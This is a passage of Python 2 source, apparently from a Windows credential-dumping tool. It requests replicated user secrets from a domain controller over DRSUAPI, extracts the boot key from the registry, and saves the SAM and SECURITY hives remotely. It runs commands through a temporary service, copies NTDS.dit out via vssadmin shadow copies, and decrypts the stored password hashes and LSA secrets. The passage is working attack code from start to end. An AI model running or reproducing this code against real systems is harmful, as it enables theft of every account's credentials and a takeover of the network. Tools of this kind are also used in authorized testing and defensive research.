self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 339 | self.__drsr.connect() 340 | self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) 341 | 342 | request = drsuapi.DRSBind() 343 | request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID 344 | drs = drsuapi.DRS_EXTENSIONS_INT() 345 | drs['cb'] = len(drs) #- 4 346 | drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION 347 | drs['SiteObjGuid'] = drsuapi.NULLGUID 348 | drs['Pid'] = 0 349 | drs['dwReplEpoch'] = 0 350 | drs['dwFlagsExt'] = 0 351 | drs['ConfigObjGUID'] = drsuapi.NULLGUID 352 | drs['dwExtCaps'] = 127 353 | request['pextClient']['cb'] = len(drs) 354 | request['pextClient']['rgb'] = list(str(drs)) 355 | resp = self.__drsr.request(request) 356 | if logging.getLogger().level == logging.DEBUG: 357 | logging.debug('DRSBind() answer') 358 | resp.dump() 359 | 360 | self.__hDrs = resp['phDrs'] 361 | 362 | # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges 363 | resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) 364 | if logging.getLogger().level == logging.DEBUG: 365 | logging.debug('DRSDomainControllerInfo() answer') 366 | resp.dump() 367 | 368 | if resp['pmsgOut']['V2']['cItems'] > 0: 369 | self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] 370 | else: 371 | logging.error("Couldn't get DC info for domain %s" % self.__domainName) 372 | raise Exception('Fatal, aborting') 373 | 374 | def getDrsr(self): 375 | return self.__drsr 376 | 377 | def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, 378 | formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): 379 | if self.__drsr is None: 380 | self.__connectDrds() 381 | 382 | resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) 383 | return resp 384 | 385 | def DRSGetNCChanges(self, userEntry): 386 | if self.__drsr is None: 387 | self.__connectDrds() 388 | 389 | request = drsuapi.DRSGetNCChanges() 390 | request['hDrs'] = self.__hDrs 391 | request['dwInVersion'] = 8 392 | 393 | request['pmsgIn']['tag'] = 8 394 | request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid 395 | request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid 396 | 397 | dsName = drsuapi.DSNAME() 398 | dsName['SidLen'] = 0 399 | dsName['Guid'] = drsuapi.NULLGUID 400 | dsName['Sid'] = '' 401 | dsName['NameLen'] = len(userEntry) 402 | dsName['StringName'] = (userEntry + '\x00') 403 | 404 | dsName['structLen'] = len(dsName.getData()) 405 | 406 | request['pmsgIn']['V8']['pNC'] = dsName 407 | 408 | request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 409 | request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 410 | 411 | request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL 412 | 413 | request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP 414 | request['pmsgIn']['V8']['cMaxObjects'] = 1 415 | request['pmsgIn']['V8']['cMaxBytes'] = 0 416 | request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ 417 | if self.__ppartialAttrSet is None: 418 | self.__prefixTable = [] 419 | self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() 420 | self.__ppartialAttrSet['dwVersion'] = 1 421 | self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) 422 | for attId in NTDSHashes.ATTRTYP_TO_ATTID.values(): 423 | self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) 424 | request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet 425 | request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) 426 | request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable 427 | request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL 428 | 429 | return self.__drsr.request(request) 430 | 431 | def getDomainUsers(self, enumerationContext=0): 432 | if self.__samr is None: 433 | self.connectSamr(self.getMachineNameAndDomain()[1]) 434 | 435 | try: 436 | resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, 437 | userAccountControl=samr.USER_NORMAL_ACCOUNT, #| \ 438 | #samr.USER_WORKSTATION_TRUST_ACCOUNT | \ 439 | #samr.USER_SERVER_TRUST_ACCOUNT |\ 440 | #samr.USER_INTERDOMAIN_TRUST_ACCOUNT, 441 | enumerationContext=enumerationContext) 442 | except DCERPCException, e: 443 | if str(e).find('STATUS_MORE_ENTRIES') < 0: 444 | raise 445 | resp = e.get_packet() 446 | return resp 447 | 448 | def ridToSid(self, rid): 449 | if self.__samr is None: 450 | self.connectSamr(self.getMachineNameAndDomain()[1]) 451 | resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid) 452 | return resp['Sid'] 453 | 454 | 455 | def getMachineNameAndDomain(self): 456 | if self.__smbConnection.getServerName() == '': 457 | # No serverName.. this is either because we're doing Kerberos 458 | # or not receiving that data during the login process. 459 | # Let's try getting it through RPC 460 | rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') 461 | rpc.set_smb_connection(self.__smbConnection) 462 | dce = rpc.get_dce_rpc() 463 | dce.connect() 464 | dce.bind(wkst.MSRPC_UUID_WKST) 465 | resp = wkst.hNetrWkstaGetInfo(dce, 100) 466 | dce.disconnect() 467 | return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1] 468 | else: 469 | return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() 470 | 471 | def getDefaultLoginAccount(self): 472 | try: 473 | ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') 474 | keyHandle = ans['phkResult'] 475 | dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') 476 | username = dataValue[:-1] 477 | dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') 478 | domain = dataValue[:-1] 479 | rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 480 | if len(domain) > 0: 481 | return '%s\\%s' % (domain,username) 482 | else: 483 | return username 484 | except: 485 | return None 486 | 487 | def getServiceAccount(self, serviceName): 488 | try: 489 | # Open the service 490 | ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) 491 | serviceHandle = ans['lpServiceHandle'] 492 | resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) 493 | account = resp['lpServiceConfig']['lpServiceStartName'][:-1] 494 | scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) 495 | if account.startswith('.\\'): 496 | account = account[2:] 497 | return account 498 | except Exception, e: 499 | logging.error(e) 500 | return None 501 | 502 | def __checkServiceStatus(self): 503 | # Open SC Manager 504 | ans = scmr.hROpenSCManagerW(self.__scmr) 505 | self.__scManagerHandle = ans['lpScHandle'] 506 | # Now let's open the service 507 | ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) 508 | self.__serviceHandle = ans['lpServiceHandle'] 509 | # Let's check its status 510 | ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) 511 | if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: 512 | logging.info('Service %s is in stopped state'% self.__serviceName) 513 | self.__shouldStop = True 514 | self.__started = False 515 | elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: 516 | logging.debug('Service %s is already running'% self.__serviceName) 517 | self.__shouldStop = False 518 | self.__started = True 519 | else: 520 | raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) 521 | 522 | # Let's check its configuration if service is stopped, maybe it's disabled :s 523 | if self.__started is False: 524 | ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) 525 | if ans['lpServiceConfig']['dwStartType'] == 0x4: 526 | logging.info('Service %s is disabled, enabling it'% self.__serviceName) 527 | self.__disabled = True 528 | scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) 529 | logging.info('Starting service %s' % self.__serviceName) 530 | scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) 531 | time.sleep(1) 532 | 533 | def enableRegistry(self): 534 | self.__connectSvcCtl() 535 | self.__checkServiceStatus() 536 | self.__connectWinReg() 537 | 538 | def __restore(self): 539 | # First of all stop the service if it was originally stopped 540 | if self.__shouldStop is True: 541 | logging.info('Stopping service %s' % self.__serviceName) 542 | scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) 543 | if self.__disabled is True: 544 | logging.info('Restoring the disabled state for service %s' % self.__serviceName) 545 | scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) 546 | if self.__serviceDeleted is False: 547 | # Check again the service we created does not exist, starting a new connection 548 | # Why?.. Hitting CTRL+C might break the whole existing DCE connection 549 | try: 550 | rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) 551 | if hasattr(rpc, 'set_credentials'): 552 | # This method exists only for selected protocol sequences. 553 | rpc.set_credentials(*self.__smbConnection.getCredentials()) 554 | rpc.set_kerberos(self.__doKerberos) 555 | self.__scmr = rpc.get_dce_rpc() 556 | self.__scmr.connect() 557 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 558 | # Open SC Manager 559 | ans = scmr.hROpenSCManagerW(self.__scmr) 560 | self.__scManagerHandle = ans['lpScHandle'] 561 | # Now let's open the service 562 | resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) 563 | service = resp['lpServiceHandle'] 564 | scmr.hRDeleteService(self.__scmr, service) 565 | scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 566 | scmr.hRCloseServiceHandle(self.__scmr, service) 567 | scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) 568 | scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) 569 | rpc.disconnect() 570 | except Exception, e: 571 | # If service is stopped it'll trigger an exception 572 | # If service does not exist it'll trigger an exception 573 | # So. we just wanna be sure we delete it, no need to 574 | # show this exception message 575 | pass 576 | 577 | def finish(self): 578 | self.__restore() 579 | if self.__rrp is not None: 580 | self.__rrp.disconnect() 581 | if self.__drsr is not None: 582 | self.__drsr.disconnect() 583 | if self.__samr is not None: 584 | self.__samr.disconnect() 585 | if self.__scmr is not None: 586 | self.__scmr.disconnect() 587 | 588 | def getBootKey(self): 589 | bootKey = '' 590 | ans = rrp.hOpenLocalMachine(self.__rrp) 591 | self.__regHandle = ans['phKey'] 592 | for key in ['JD','Skew1','GBG','Data']: 593 | logging.debug('Retrieving class info for %s'% key) 594 | ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) 595 | keyHandle = ans['phkResult'] 596 | ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) 597 | bootKey = bootKey + ans['lpClassOut'][:-1] 598 | rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 599 | 600 | transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] 601 | 602 | bootKey = unhexlify(bootKey) 603 | 604 | for i in xrange(len(bootKey)): 605 | self.__bootKey += bootKey[transforms[i]] 606 | 607 | logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey)) 608 | 609 | return self.__bootKey 610 | 611 | def checkNoLMHashPolicy(self): 612 | logging.debug('Checking NoLMHash Policy') 613 | ans = rrp.hOpenLocalMachine(self.__rrp) 614 | self.__regHandle = ans['phKey'] 615 | 616 | ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') 617 | keyHandle = ans['phkResult'] 618 | try: 619 | dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') 620 | except: 621 | noLMHash = 0 622 | 623 | if noLMHash != 1: 624 | logging.debug('LMHashes are being stored') 625 | return False 626 | 627 | logging.debug('LMHashes are NOT being stored') 628 | return True 629 | 630 | def __retrieveHive(self, hiveName): 631 | tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' 632 | ans = rrp.hOpenLocalMachine(self.__rrp) 633 | regHandle = ans['phKey'] 634 | try: 635 | ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) 636 | except: 637 | raise Exception("Can't open %s hive" % hiveName) 638 | keyHandle = ans['phkResult'] 639 | rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) 640 | rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 641 | rrp.hBaseRegCloseKey(self.__rrp, regHandle) 642 | # Now let's open the remote file, so it can be read later 643 | remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) 644 | return remoteFileName 645 | 646 | def saveSAM(self): 647 | logging.debug('Saving remote SAM database') 648 | return self.__retrieveHive('SAM') 649 | 650 | def saveSECURITY(self): 651 | logging.debug('Saving remote SECURITY database') 652 | return self.__retrieveHive('SECURITY') 653 | 654 | def __executeRemote(self, data): 655 | self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le') 656 | command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 657 | command += ' & ' + 'del ' + self.__batchFile 658 | 659 | self.__serviceDeleted = False 660 | resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) 661 | service = resp['lpServiceHandle'] 662 | try: 663 | scmr.hRStartServiceW(self.__scmr, service) 664 | except: 665 | pass 666 | scmr.hRDeleteService(self.__scmr, service) 667 | self.__serviceDeleted = True 668 | scmr.hRCloseServiceHandle(self.__scmr, service) 669 | def __answer(self, data): 670 | self.__answerTMP += data 671 | 672 | def __getLastVSS(self): 673 | self.__executeRemote('%COMSPEC% /C vssadmin list shadows') 674 | time.sleep(5) 675 | tries = 0 676 | while True: 677 | try: 678 | self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 679 | break 680 | except Exception, e: 681 | if tries > 30: 682 | # We give up 683 | raise Exception('Too many tries trying to list vss shadows') 684 | if str(e).find('SHARING') > 0: 685 | # Stuff didn't finish yet.. wait more 686 | time.sleep(5) 687 | tries +=1 688 | pass 689 | else: 690 | raise 691 | 692 | lines = self.__answerTMP.split('\n') 693 | lastShadow = '' 694 | lastShadowFor = '' 695 | 696 | # Let's find the last one 697 | # The string used to search the shadow for drive. Wondering what happens 698 | # in other languages 699 | SHADOWFOR = 'Volume: (' 700 | 701 | for line in lines: 702 | if line.find('GLOBALROOT') > 0: 703 | lastShadow = line[line.find('\\\\?'):][:-1] 704 | elif line.find(SHADOWFOR) > 0: 705 | lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] 706 | 707 | self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 708 | 709 | return lastShadow, lastShadowFor 710 | 711 | def saveNTDS(self): 712 | logging.info('Searching for NTDS.dit') 713 | # First of all, let's try to read the target NTDS.dit registry entry 714 | ans = rrp.hOpenLocalMachine(self.__rrp) 715 | regHandle = ans['phKey'] 716 | try: 717 | ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') 718 | keyHandle = ans['phkResult'] 719 | except: 720 | # Can't open the registry path, assuming no NTDS on the other end 721 | return None 722 | 723 | try: 724 | dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') 725 | ntdsLocation = dataValue[:-1] 726 | ntdsDrive = ntdsLocation[:2] 727 | except: 728 | # Can't open the registry path, assuming no NTDS on the other end 729 | return None 730 | 731 | rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 732 | rrp.hBaseRegCloseKey(self.__rrp, regHandle) 733 | 734 | logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) 735 | # Get the list of remote shadows 736 | shadow, shadowFor = self.__getLastVSS() 737 | if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): 738 | # No shadow, create one 739 | self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) 740 | shadow, shadowFor = self.__getLastVSS() 741 | shouldRemove = True 742 | if shadow == '': 743 | raise Exception('Could not get a VSS') 744 | else: 745 | shouldRemove = False 746 | 747 | # Now copy the ntds.dit to the temp directory 748 | tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' 749 | 750 | self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) 751 | 752 | if shouldRemove is True: 753 | self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive) 754 | 755 | self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 756 | 757 | remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) 758 | 759 | return remoteFileName 760 | 761 | class CryptoCommon: 762 | # Common crypto stuff used over different classes 763 | def transformKey(self, InputKey): 764 | # Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key 765 | OutputKey = [] 766 | OutputKey.append( chr(ord(InputKey[0]) >> 0x01) ) 767 | OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) 768 | OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) 769 | OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) 770 | OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) 771 | OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) 772 | OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) 773 | OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) 774 | 775 | for i in range(8): 776 | OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) 777 | 778 | return "".join(OutputKey) 779 | 780 | def deriveKey(self, baseKey): 781 | # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key 782 | # Let I be the little-endian, unsigned integer. 783 | # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. 784 | # Note that because I is in little-endian byte order, I[0] is the least significant byte. 785 | # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. 786 | # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] 787 | key = pack('<L',baseKey) 788 | key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2] 789 | key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1] 790 | return self.transformKey(key1),self.transformKey(key2) 791 | 792 | 793 | class OfflineRegistry: 794 | def __init__(self, hiveFile = None, isRemote = False): 795 | self.__hiveFile = hiveFile 796 | if self.__hiveFile is not None: 797 | self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote) 798 | 799 | def enumKey(self, searchKey): 800 | parentKey = self.__registryHive.findKey(searchKey) 801 | 802 | if parentKey is None: 803 | return 804 | 805 | keys = self.__registryHive.enumKey(parentKey) 806 | 807 | return keys 808 | 809 | def enumValues(self, searchKey): 810 | key = self.__registryHive.findKey(searchKey) 811 | 812 | if key is None: 813 | return 814 | 815 | values = self.__registryHive.enumValues(key) 816 | 817 | return values 818 | 819 | def getValue(self, keyValue): 820 | value = self.__registryHive.getValue(keyValue) 821 | 822 | if value is None: 823 | return 824 | 825 | return value 826 | 827 | def getClass(self, className): 828 | value = self.__registryHive.getClass(className) 829 | 830 | if value is None: 831 | return 832 | 833 | return value 834 | 835 | def finish(self): 836 | if self.__hiveFile is not None: 837 | # Remove temp file and whatever else is needed 838 | self.__registryHive.close() 839 | 840 | class SAMHashes(OfflineRegistry): 841 | def __init__(self, samFile, bootKey, isRemote = False): 842 | OfflineRegistry.__init__(self, samFile, isRemote) 843 | self.__samFile = samFile 844 | self.__hashedBootKey = '' 845 | self.__bootKey = bootKey 846 | self.__cryptoCommon = CryptoCommon() 847 | self.__itemsFound = {} 848 | 849 | def MD5(self, data): 850 | md5 = hashlib.new('md5') 851 | md5.update(data) 852 | return md5.digest() 853 | 854 | def getHBootKey(self): 855 | logging.debug('Calculating HashedBootKey from SAM') 856 | QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 857 | DIGITS = "0123456789012345678901234567890123456789\0" 858 | 859 | F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1] 860 | 861 | domainData = DOMAIN_ACCOUNT_F(F) 862 | 863 | rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS) 864 | 865 | rc4 = ARC4.new(rc4Key) 866 | self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum']) 867 | 868 | # Verify key with checksum 869 | checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY) 870 | 871 | if checkSum != self.__hashedBootKey[16:]: 872 | raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(') 873 | 874 | def __decryptHash(self, rid, cryptedHash, constant): 875 | # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key 876 | # plus hashedBootKey stuff 877 | Key1,Key2 = self.__cryptoCommon.deriveKey(rid) 878 | 879 | Crypt1 = DES.new(Key1, DES.MODE_ECB) 880 | Crypt2 = DES.new(Key2, DES.MODE_ECB) 881 | 882 | rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant ) 883 | rc4 = ARC4.new(rc4Key) 884 | key = rc4.encrypt(cryptedHash) 885 | 886 | decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:]) 887 | 888 | return decryptedHash 889 | 890 | def dump(self): 891 | NTPASSWORD = "NTPASSWORD\0" 892 | LMPASSWORD = "LMPASSWORD\0" 893 | 894 | if self.__samFile is None: 895 | # No SAM file provided 896 | return 897 | 898 | logging.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)') 899 | self.getHBootKey() 900 | 901 | usersKey = 'SAM\\Domains\\Account\\Users' 902 | 903 | # Enumerate all the RIDs 904 | rids = self.enumKey(usersKey) 905 | # Remove the Names item 906 | try: 907 | rids.remove('Names') 908 | except: 909 | pass 910 | 911 | for rid in rids: 912 | userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1]) 913 | rid = int(rid,16) 914 | 915 | V = userAccount['Data'] 916 | 917 | userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le') 918 | 919 | if userAccount['LMHashLength'] == 20: 920 | encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']] 921 | else: 922 | encLMHash = '' 923 | 924 | if userAccount['NTHashLength'] == 20: 925 | encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']] 926 | else: 927 | encNTHash = '' 928 | 929 | lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD) 930 | ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD) 931 | 932 | if lmHash == '': 933 | lmHash = ntlm.LMOWFv1('','') 934 | if ntHash == '': 935 | ntHash = ntlm.NTOWFv1('','') 936 | 937 | answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash)) 938 | self.__itemsFound[rid] = answer 939 | print answer 940 | 941 | def export(self, fileName): 942 | if len(self.__itemsFound) > 0: 943 | items = sorted(self.__itemsFound) 944 | fd = codecs.open(fileName+'.sam','w+', encoding='utf-8') 945 | for item in items: 946 | fd.write(self.__itemsFound[item]+'\n') 947 | fd.close() 948 | 949 | 950 | class LSASecrets(OfflineRegistry): 951 | def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False): 952 | OfflineRegistry.__init__(self,securityFile, isRemote) 953 | self.__hashedBootKey = '' 954 | self.__bootKey = bootKey 955 | self.__LSAKey = '' 956 | self.__NKLMKey = '' 957 | self.__isRemote = isRemote 958 | self.__vistaStyle = True 959 | self.__cryptoCommon = CryptoCommon() 960 | self.__securityFile = securityFile 961 | self.__remoteOps = remoteOps 962 | self.__cachedItems = [] 963 | self.__secretItems = [] 964 | 965 | def MD5(self, data): 966 | md5 = hashlib.new('md5') 967 | md5.update(data) 968 | return md5.digest() 969 | 970 | def __sha256(self, key, value, rounds=1000): 971 | sha = hashlib.sha256() 972 | sha.update(key) 973 | for i in range(1000): 974 | sha.update(value) 975 | return sha.digest() 976 | 977 | def __decryptAES(self, key, value, iv='\x00'*16): 978 | plainText = '' 979 | if iv != '\x00'*16: 980 | aes256 = AES.new(key,AES.MODE_CBC, iv) 981 | 982 | for index in range(0, len(value), 16): 983 | if iv == '\x00'*16: 984 | aes256 = AES.new(key,AES.MODE_CBC, iv) 985 | cipherBuffer = value[index:index+16] 986 | # Pad buffer to 16 bytes 987 | if len(cipherBuffer) < 16: 988 | cipherBuffer += '\x00' * (16-len(cipherBuffer)) 989 | plainText += aes256.decrypt(cipherBuffer) 990 | 991 | return plainText 992 | 993 | def __decryptSecret(self, key, value): 994 | # [MS-LSAD] Section 5.1.2 995 | plainText = '' 996 | 997 | encryptedSecretSize = unpack('<I', value[:4])[0] 998 | value = value[len(value)-encryptedSecretSize:] 999 | 1000 | key0 = key 1001 | for i in range(0, len(value), 8): 1002 | cipherText = value[:8] 1003 | tmpStrKey = key0[:7] 1004 | tmpKey = self.__cryptoCommon.transformKey(tmpStrKey) 1005 | Crypt1 = DES.new(tmpKey, DES.MODE_ECB) 1006 | plainText += Crypt1.decrypt(cipherText) 1007 | key0 = key0[7:] 1008 | value = value[8:] 1009 | # AdvanceKey 1010 | if len(key0) < 7: 1011 | key0 = key[len(key0):] 1012 | 1013 | secret = LSA_SECRET_XP(plainText) 1014 | return secret['Secret'] 1015 | 1016 | def __decryptHash(self, key, value, iv): 1017 | hmac_md5 = HMAC.new(key,iv) 1018 | rc4key = hmac_md5.digest() 1019 | 1020 | rc4 = ARC4.new(rc4key) 1021 | data = rc4.encrypt(value) 1022 | return data 1023 | 1024 | def __decryptLSA(self, value): 1025 | if self.__vistaStyle is True: 1026 | # ToDo: There could be more than one LSA Keys 1027 | record = LSA_SECRET(value) 1028 | tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32]) 1029 | plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) 1030 | record = LSA_SECRET_BLOB(plainText) 1031 | self.__LSAKey = record['Secret'][52:][:32] 1032 | 1033 | else: 1034 | md5 = hashlib.new('md5') 1035 | md5.update(self.__bootKey) 1036 | for i in range(1000): 1037 | md5.update(value[60:76]) 1038 | tmpKey = md5.digest() 1039 | rc4 = ARC4.new(tmpKey) 1040 | plainText = rc4.decrypt(value[12:60]) 1041 | self.__LSAKey = plainText[0x10:0x20] 1042 | 1043 | def __getLSASecretKey(self): 1044 | logging.debug('Decrypting LSA Key') 1045 | # Let's try the key post XP 1046 | value = self.getValue('\\Policy\\PolEKList\\default') 1047 | if value is None: 1048 | logging.debug('PolEKList not found, trying PolSecretEncryptionKey') 1049 | # Second chance 1050 | value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default') 1051 | self.__vistaStyle = False 1052 | if value is None: 1053 | # No way :( 1054 | return None 1055 | 1056 | self.__decryptLSA(value[1]) 1057 | 1058 | def __getNLKMSecret(self): 1059 | logging.debug('Decrypting NL$KM') 1060 | value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default') 1061 | if value is None: 1062 | raise Exception("Couldn't get NL$KM value") 1063 | if self.__vistaStyle is True: 1064 | record = LSA_SECRET(value[1]) 1065 | tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 1066 | self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:]) 1067 | else: 1068 | self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1]) 1069 | 1070 | def __pad(self, data): 1071 | if (data & 0x3) > 0: 1072 | return data + (data & 0x3) 1073 | else: 1074 | return data 1075 | 1076 | def dumpCachedHashes(self): 1077 | if self.__securityFile is None: 1078 | # No SECURITY file provided 1079 | return 1080 | 1081 | logging.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)') 1082 | 1083 | # Let's first see if there are cached entries 1084 | values = self.enumValues('\\Cache') 1085 